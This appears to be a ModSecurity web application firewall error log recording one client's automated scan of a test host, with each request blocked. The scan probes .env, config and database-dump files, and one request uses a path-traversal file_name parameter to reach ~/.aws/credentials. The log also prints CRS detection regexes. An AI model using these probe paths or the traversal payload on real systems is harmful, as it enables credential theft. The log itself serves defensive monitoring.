[Sun Mar 22 01:06:25.114106 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wgAAAAA&quot;]
[Sun Mar 22 01:06:25.114503 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wgAAAAA&quot;]
[Sun Mar 22 01:06:25.114634 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wgAAAAA&quot;]
[Sun Mar 22 01:06:25.136811 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wwAAAAA&quot;]
[Sun Mar 22 01:06:25.137013 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wwAAAAA&quot;]
[Sun Mar 22 01:06:25.137146 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wwAAAAA&quot;]
[Sun Mar 22 01:06:25.159381 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xAAAAAA&quot;]
[Sun Mar 22 01:06:25.159581 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xAAAAAA&quot;]
[Sun Mar 22 01:06:25.159715 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xAAAAAA&quot;]
[Sun Mar 22 01:06:25.181823 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xQAAAAA&quot;]
[Sun Mar 22 01:06:25.182040 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xQAAAAA&quot;]
[Sun Mar 22 01:06:25.182184 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xQAAAAA&quot;]
[Sun Mar 22 01:06:25.204269 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xgAAAAA&quot;]
[Sun Mar 22 01:06:25.204479 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xgAAAAA&quot;]
[Sun Mar 22 01:06:25.204621 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6xgAAAAA&quot;]
[Sun Mar 22 01:06:25.249211 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/package-lock.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package-lock.json found within REQUEST_FILENAME: /package-lock.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yAAAAAA&quot;]
[Sun Mar 22 01:06:25.249423 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yAAAAAA&quot;]
[Sun Mar 22 01:06:25.249553 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yAAAAAA&quot;]
[Sun Mar 22 01:06:25.271553 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yQAAAAA&quot;]
[Sun Mar 22 01:06:25.271774 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yQAAAAA&quot;]
[Sun Mar 22 01:06:25.271903 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6yQAAAAA&quot;]
[Sun Mar 22 01:06:25.316075 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6ywAAAAA&quot;]
[Sun Mar 22 01:06:25.316449 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6ywAAAAA&quot;]
[Sun Mar 22 01:06:25.316582 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6ywAAAAA&quot;]
[Sun Mar 22 01:06:25.360985 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zQAAAAA&quot;]
[Sun Mar 22 01:06:25.361057 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zQAAAAA&quot;]
[Sun Mar 22 01:06:25.361086 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zQAAAAA&quot;]
[Sun Mar 22 01:06:25.361598 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zQAAAAA&quot;]
[Sun Mar 22 01:06:25.361723 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zQAAAAA&quot;]
[Sun Mar 22 01:06:25.383688 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zgAAAAA&quot;]
[Sun Mar 22 01:06:25.383901 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zgAAAAA&quot;]
